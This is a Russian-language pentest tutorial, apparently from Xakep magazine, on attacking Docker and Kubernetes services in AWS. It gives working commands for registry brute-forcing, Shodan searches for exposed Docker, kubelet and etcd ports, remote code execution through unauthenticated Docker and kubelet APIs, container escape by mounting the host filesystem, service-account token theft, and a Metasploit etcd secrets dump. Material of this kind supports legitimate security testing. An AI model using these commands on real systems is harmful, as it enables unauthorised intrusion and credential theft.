Хакер - Удар по контейнерам. Пентестим Docker и Kubernetes в облаке Amazon

Хакер - Удар по контейнерам. Пентестим Docker и Kubernetes в облаке Amazon

hacker_frei

https://t.me/hacker_frei

MichelleVermishelle 

Содержание статьи

  • Elastic Container Registry (ECR)
  • Внешняя разведка
  • AWS CLI
  • Elastic Container Service (ECS)
  • Initial Access
  • Enumeration
  • Elastic Kubernetes Service (EKS)
  • Initial Access
  • Перечисление
  • Выводы

Пред­положим, ты уже уме­ешь повышать при­виле­гии в сре­де AWS. Но туда ведь нуж­но еще как‑то попасть! Фай­лы .credentials в репози­тори­ях и дру­гие прос­тые ошиб­ки раз­работ­чиков встре­чают­ся все реже и реже. Что еще мож­но поис­кать? Об этом и погово­рим сегод­ня.

AWS — это чуть боль­ше двух сотен раз­ных сер­висов.

Сей­час все боль­ше ком­паний начина­ют исполь­зовать кон­тей­нер­ные сре­ды. AWS, сле­дуя за спро­сом, пред­лага­ет нес­коль­ко сер­висов для работы с Docker или Kubernetes. У клас­теров в AWS есть некото­рые отли­чия от обыч­ных, но они край­не нез­начитель­ны.

Обыч­ная сис­тема и AWS

Сле­ва обыч­ная сис­тема, спра­ва то же самое, но в AWS. Вез­де при­сутс­тву­ет Docker Engine — собс­твен­но, сам дви­жок, обес­печива­ющий работос­пособ­ность кон­тей­нер­ной сре­ды. И реестр — спе­циаль­ное мес­то, отку­да мож­но ска­чать образ докера.

ELASTIC CONTAINER REGISTRY (ECR)

Внешняя разведка

В ECR хра­нят­ся обра­зы кон­тей­неров. Они помога­ют раз­работ­чикам в управле­нии, раз­верты­вании и нас­трой­ке инфраструк­туры. В подоб­ных мес­тах при пен­тесте осо­бо не раз­гуля­ешь­ся, но очень час­то не самые вни­матель­ные кодеры могут оста­вить в обра­зе какие‑нибудь кон­фиден­циаль­ные дан­ные, поэто­му обя­затель­но сто­ит про­верять в том чис­ле и реестр.

Без учет­ных дан­ных наде­ять­ся мож­но лишь на уда­чу. ECR име­ет URL для дос­тупа сле­дующе­го вида:

https://<account-id>.dkr.ecr.<region>.amazonaws.com

Нап­ример:

https://184194106212.dkr.ecr.us-east-2.amazonaws.com

Воз­можно, уда­ча тебе улыб­нется и ты получишь дос­туп к реес­тру.

Так­же иног­да на пен­тесте встре­чает­ся работа­ющая на 5000-м пор­те служ­ба Docker Registry, которую пока не уме­ет опре­делять Nmap.

Ска­ниро­вание хос­та с работа­ющим Docker Registry при помощи Nmap

Ес­ли реестр тре­бует аутен­тифика­ции, то при попыт­ке обра­тить­ся к нему получим ошиб­ку:

root@xtreme$> curl -k https://<IP>:5000/v2/_catalog

{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Имея на руках спи­сок воз­можных логинов, мож­но поп­робовать ата­ковать брут­форсом:

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

А ког­да най­дешь дан­ные для аутен­тифика­ции, сдам­пить обра­зы поможет DockerRegistryGrabber.

AWS CLI

Ес­ли есть дос­туп к AWS CLI, то, конеч­но же, получит­ся дос­тать на порядок боль­ше информа­ции.

Пер­вым делом сто­ит обна­ружить все репози­тории:

aws ecr describe-repositories

На­ходим все репози­тории

Обя­затель­но поп­робуй вста­вить URL из repositoryURl в бра­узер. Воз­можно, повезет и аутен­тифика­ция для дос­тупа к репози­торию не пот­ребу­ется.

Сле­дующим шагом рекомен­дую про­верить при­вязан­ную полити­ку.

aws ecr get-repository-policy --repository-name <RepositoryName>

При­мер:

aws ecr get-repository-policy --repository-name xakepru

Ча­ще все­го никаких политик не при­вяза­но и мы получим ошиб­ку.

От­сутс­твие полити­ки

Но быва­ет, что попада­ется при­вязан­ная полити­ка.

По­луче­ние полити­ки

Здесь видим, что всем объ­ектам (Principal: *) раз­решено:

  • ecr:BatchCheckLayerAvailability — про­верять дос­тупность одно­го или нес­коль­ких обра­зов в репози­тории;
  • ecr:BatchGetImage — получать более деталь­ную информа­цию об обра­зе;
  • ecr:GetDownloadUrlForLayer — получать URL для заг­рузки обра­за.

На­конец, убе­див­шись, что текущий поль­зователь име­ет пра­ва на работу с репози­тори­ем, най­дем все обра­зы:

aws ecr list-images --repository-name <RepositoryName>

При­мер:

aws ecr list-images --repository-name xakepru

По­иск обра­зов в репози­тории

По­лучить информа­цию о кон­крет­ном обра­зе:

aws ecr describe-images --repository-name <RepositoryName> --image-ids imageTag=<ImageTag>

При­мер:

aws ecr describe-images --repository-name xakepru --image-ids imageTag=latest 

ELASTIC CONTAINER SERVICE (ECS)

Да, мно­го информа­ции из ECR не вытянешь. А мож­но ли сра­зу проб­рать­ся в Docker? Все воз­можно! ECS — сер­вис для управле­ния кон­тей­нерами. Его струк­тура доволь­но незамыс­ловата.

Ус­трой­ство ECS

Сна­чала соз­дает­ся клас­тер с опре­делен­ным чис­лом узлов (нод). Чаще все­го это реали­зует­ся на базе EC2 или Fargate.

За­дача — это обя­затель­ная и незаме­нимая часть ECS. Она тре­бует­ся для кор­рек­тно­го запус­ка кон­тей­нера. Поз­воля­ет ука­зать, какой образ Docker исполь­зовать, сколь­ко ЦП и памяти выделять, как собирать логи, какую роль IAM исполь­зовать и так далее. Задача запус­кает­ся вруч­ную. Она, в свою оче­редь, запус­кает опре­делен­ные для нее кон­тей­неры, которые работа­ют, пока не будут оста­нов­лены или не завер­шат работу самос­тоятель­но.

Служ­ба ECS исполь­зует­ся, что­бы гаран­тировать, что всег­да выпол­няет­ся некото­рое количес­тво задач. Если кон­тей­нер неп­редви­ден­но вык­люча­ется, то имен­но служ­ба заменит неудав­шуюся задачу. Для того и соз­дают­ся клас­теры: что­бы у служ­бы было дос­таточ­но ресур­сов для исполь­зования.

Initial Access

Са­мый рас­простра­нен­ный спо­соб получить пер­воначаль­ный дос­туп в ECS — тор­чащие в сеть пор­ты 2375 или 2376. На них висит Docker Remote API, исполь­зуемый для управле­ния кон­тей­нером. По умол­чанию на нем нет никакой аутен­тифика­ции, поэто­му любой, кто в сос­тоянии вза­имо­дей­ство­вать с эти­ми пор­тами, может работать с кон­тей­нерами.

Об­наружить подоб­ный мис­конфиг мож­но с помощью Shodan:

port:2375 product:docker

port:2376 product:docker

По­иск уяз­вимых кон­тей­неров через Shodan

Экс­плу­ата­ция донель­зя прос­тая. Мож­но исполь­зовать стан­дар­тную ути­литу Docker, ука­зав в перемен­ной сре­ды DOCKER_HOST IP уяз­вимого хос­та, а затем выпол­нять все стан­дар­тные коман­ды адми­нис­три­рова­ния кон­тей­неров. Как вари­ант — отправ­лять JSON с информа­цией для Docker при помощи curl.

WWW

Опи­сание фор­мата дан­ных в офи­циаль­ной докумен­тации Docker.

На­ходим все дос­тупные кон­тей­неры:

curl http://<IP>:2375/containers/json | python3 -m json.tool

Ис­поль­зуем curl, что­бы най­ти кон­тей­неры

Ви­дим, что вза­имо­дей­ствие успешно, поэто­му можем добить­ся выпол­нения кода в кон­тей­нере вот так:

curl -s "http://10.10.10.10:2375/containers/<container_id>/exec" -X POST -H "Content-Type: application/json" -d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["whoami"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

export EXEC_ID=913c5

curl -s "http://10.10.10.10:2375/exec/${EXEC_ID}/start" -X POST -H "Content-Type: application/json" -d '{"Detach": false,"Tty": false}'

Ес­ли хочешь исполь­зовать Docker, то все точ­но так же. Рас­смот­рим вари­ант с мон­тирова­нием хос­товой фай­ловой сис­темы в кон­тей­нер:

# Указываем IP-адрес уязвимого хоста

export DOCKER_HOST="tcp://10.10.10.10:2375"

# Смотрим доступные образы

docker images

# Запускаем контейнер (/:/host означает монтирование / в контейнерный /home)

docker run -it -v /:/host <REPOSITORY>:<TAG> bash

# И монтируем файловую систему

docker> chroot /host bash

Enumeration

Ус­пешно сбе­жав из кон­тей­нера, ты попадешь на саму работа­ющую ноду (которая чаще все­го будет рас­положе­на в VPC). В слу­чае с EC2 обя­затель­но про­веряй IMDS, что­бы най­ти токены дос­тупа при­вязан­ной роли.

INFO

Virtual Private Cloud (VPC), или вир­туаль­ное час­тное обла­ко, — это пол­ноцен­ная изо­лиро­ван­ная сеть в обла­ке, обла­дающая все­ми свой­ства­ми реаль­ной сети. Здесь исполь­зуют­ся такие же IP-адре­са, под­сети и мар­шру­тиза­ция, как в обыч­ной сети.

Ког­да получен дос­туп к AWS CLI, пора перехо­дить к раз­ведке.

По­иск всех клас­теров: aws ecs list-clusters.

Изу­чаем дос­тупные клас­теры

По­лучить под­робную информа­цию о кон­крет­ном клас­тере:

aws ecs describe-clusters --cluster <ClusterName>

При­мер:

aws ecs describe-clusters --cluster DimkinCluster

По­луче­ние под­робной информа­ции о клас­тере

Даль­ше мож­но про­дол­жить нашу раз­ведку вот так:

# Нахождение всех сервисов

aws ecs list-services --cluster <ClusterName>

# Конкретный сервис

aws ecs describe-services --cluster <ClusterName> --services <ServiceName>

# Задачи

aws ecs list-tasks --cluster <ClusterName>

aws ecs describe-tasks --cluster <ClusterName> --tasks <TaskArn> 

ELASTIC KUBERNETES SERVICE (EKS)

Kubernetes — лакомый кусочек для пен­тесте­ра. Имен­но здесь всег­да сос­редото­чено боль­ше все­го инте­рес­ной информа­ции, а век­торов для получе­ния дос­тупа мно­жес­тво. Одна­ко устрой­ство даже прос­того клас­тера понача­лу может напугать!

Струк­тура EKS

Соз­дает­ся клас­тер. В нашем слу­чае есть два VPC: EKS VPC — основной и Customer VPC — дочер­ний. В дочер­нем сущес­тву­ют рабочие экзем­пля­ры, на которых работа­ют при­ложе­ния. Поэто­му очень важ­но во вре­мя пен­теста опре­делить, какой VPC при­над­лежит узел управле­ния (EKS Control Panel), а на какой запус­кают­ся при­ложе­ния.

Во мно­гом струк­тура похожа на обыч­ный клас­тер Kubernetes. Те же ноды, те же балан­сиров­щики наг­рузки, те же средс­тва управле­ния. Kubernetes может хра­нить мно­жес­тво сек­ретов, мно­жес­тво мис­конфи­гов и мно­жес­тво потен­циаль­ных век­торов для атак!

Опять же Kubernetes инте­ресен нам потому, что, выб­равшись к ноде, попадем в VPC, что не может не радовать. 

Initial Access

Kubelet API

Это служ­ба, которая работа­ет на каж­дом узле клас­тера. Она сле­дит за тем, что­бы кон­тей­неры были запуще­ны в поде, и вза­имо­дей­ству­ет с kube-apiserver. По умол­чанию работа­ет на пор­те 10250.

Об­наружить ее прос­то. Нап­ример, можешь ввес­ти в Shodan port:10250 Kubernetes.

Ис­поль­зование Shodan для поис­ка уяз­вимос­ти

В некото­рых слу­чаях будет дос­туп толь­ко для чте­ния. То есть мак­симум смо­жем получать информа­цию из API: устрой­ство клас­тера, име­на подов, рас­положе­ние фай­лов и дру­гие нас­трой­ки. Это не кри­тичес­кая информа­ция, но ее все же не сле­дует вык­ладывать в интернет.

Нап­ример, мож­но зло­упот­ребить этим, обра­тив­шись к сле­дующе­му URL:

http://external-IP:10255/pods

Об­наружи­ваем клю­чи дос­тупа в AWS

В перемен­ных сре­ды кон­тей­нера неп­рилич­но час­то встре­чают­ся чувс­тви­тель­ные дан­ные, как в этом при­мере — клю­чи дос­тупа для AWS. Получим дос­туп к это­му кон­тей­неру — получим дос­туп в обла­ко.

Но нам может очень круп­но повез­ти, ведь по умол­чанию к это­му сер­вису пре­дос­тавля­ется ано­ним­ный дос­туп.

Осо­бен­ность даже ука­зана в матери­алах о нас­трой­ке

Прав­да, воз­ника­ют опре­делен­ные проб­лемы. API служ­бы Kubelet не докумен­тирован, хотя ког­да это мешало хакерам? Мы ведь можем прос­то гля­нуть в ис­ходный код.

Сто­ит искать стро­ку, которая начина­ется с path(.

Об­наружи­ваем конеч­ные точ­ки

Я обна­ружил сле­дующие инте­рес­ные эндпо­инты:

/pods/

/run/

/exec/

/attach/

/portForward/

/containerLogs/

/runningpods/

Об­рати вни­мание на /exec/ и /run/. С помощью этих конеч­ных точек мож­но выпол­нить код внут­ри кон­тей­нера! При­чем сущес­тву­ет даже инс­тру­мент для экс­плу­ата­ции, но, что­бы луч­ше понять суть про­цес­са, рекомен­дую исполь­зовать curl:

# Получить все пространства имен, поды и контейнеры

curl -k https://10.10.11.133:10250/pods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'

curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'

# /run

curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{container} \

-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /var/run/secrets/kubernetes.io/serviceaccount/token"

# /exec

curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" \

https://10.10.11.133:10250/exec/{namespace}/{pod}/{container} \

-d 'input=1' -d 'output=1' -d 'tty=1' \

-d 'command=ls' -d 'command=/'

Как вари­ант, можешь исполь­зовать kubeletctl:

kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container> -s <IP> --cacert ./ca.crt

kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt

etcd

Ано­ним­ные сес­сии на этом не закан­чива­ются! Такому же мис­конфи­гу может быть под­верже­но и хра­нили­ще etcd. Оно име­ет фор­мат «ключ — зна­чение» и содер­жит всю информа­цию о кон­фигура­ции клас­тера Kubernetes. В нем так­же хра­нит­ся текущее сос­тояние сис­темы и жела­емое (нап­ример, пос­ле деп­лой­мен­та).

С поис­ком сно­ва поможет Shodan: port:2379 product:"etcd".

Об­наружи­ваем etcd через Shodan

В etcd всег­да лежит мно­го сек­ретов, получить к ним дос­туп мож­но, нап­ример, с помощью MSF:

use auxiliary/scanner/etcd/open_key_scanner

set RHOSTS TARGETIP

exploit

По­луча­ем клю­чи etcd через MSF

Ес­ли Metasploit по каким‑то при­чинам не устра­ивает, можешь исполь­зовать etcdctl:

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kube-ApiServer

На­конец, если не было уяз­вимос­ти ни в Kubelet, ни в etcd, то пос­мотри в сто­рону API-сер­вера. С этой служ­бой обща­ются обыч­но с помощью инс­тру­мен­та kubectl, а рас­полага­ется она на 6443-м, 443-м или 8443-м пор­те. Про­верить работос­пособ­ность мож­но так:

curl -k https://IP:6443/swaggerapi

curl -k https://IP:8443/healthz

curl -k https://IP:443/api/v1

Од­нако получить RCE таким методом, к сожале­нию, не получит­ся.

Перечисление

При получе­нии дос­тупа в AWS CLI откры­вают­ся богатые воз­можнос­ти для поис­ка информа­ции.

По­лучить спи­сок дос­тупных клас­теров мож­но коман­дой aws eks list-clusters.

Kubernetes-клас­теры в AWS

По­лучить информа­цию об опре­делен­ном клас­тере:

aws eks describe-cluster --name <Cluster-Name>

При­мер:

aws eks describe-cluster --name RedTeamCluster

Под­робные дан­ные о клас­тере

Об­рати вни­мание на сле­дующее:

  • version — вер­сия Kubernetes, которая исполь­зует­ся;
  • endpoint — конеч­ная точ­ка для дос­тупа к это­му клас­теру. В некото­рых ред­ких кон­фигура­циях она может быть дос­тупна из интерне­та, что зна­читель­но упро­щает пен­тест;
  • vpcId — VPC, в котором находит­ся клас­тер;
  • endpointPublicAccess — раз­решен ли дос­туп без аутен­тифика­ции к эндпо­инту;
  • publicAccessCidrs — диапа­зон IP, из которо­го мож­но получить дос­туп к клас­теру.

Ча­ще все­го, попав в обла­ко из Kubernetes, мож­но получить при­виле­гиро­ван­ную учет­ку. У нее может не быть никаких прав в AWS, но при этом она может уметь делать все, что захочешь, в сре­де Kubernetes.

Од­на из пер­вых нас­тро­ек клас­тера на EKS, которые нуж­но сде­лать еще до запус­ка узлов, — это добав­ление роли узла IAM в груп­пу system:nodes. Эта груп­па при­вяза­на к роли Kubernetes system:node, у которой есть пра­ва на чте­ние раз­ных объ­ектов Kubernetes: сер­висов, узлов, подов, пос­тоян­ных томов и восем­надца­ти дру­гих ресур­сов. Все, что нам нуж­но сде­лать, что­бы унас­ледовать эти пол­номочия, — поп­росить AWS пре­обра­зовать наши клю­чи дос­тупа IAM в дей­стви­тель­ный токен Kubernetes, что­бы мы мог­ли зап­рашивать сер­вер API как член груп­пы system:nodes:

aws eks get-token --cluster-name <имя кластера> --profile <профиль>

При­мер:

aws eks get-token --cluster-name RedTeamCluster --profile node

По­луче­ние токена Kubernetes

ВЫВОДЫ

Бе­зопас­ность кон­тей­нер­ных сред — все более и более акту­аль­ная проб­лема. Как ты смог убе­дить­ся, получить пер­воначаль­ный дос­туп в AWS не так и слож­но. Зло­умыш­ленник, сбе­гая из кон­тей­нера, вылезет где‑нибудь в VPC, что может нанес­ти ком­пании огромный ущерб!

Даль­ше наруши­тель будет повышать при­виле­гии, собирать информа­цию из etcd, искать дос­туп к дру­гим VPC. Об этих тех­никах я рас­ска­жу в сле­дующих стать­ях.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page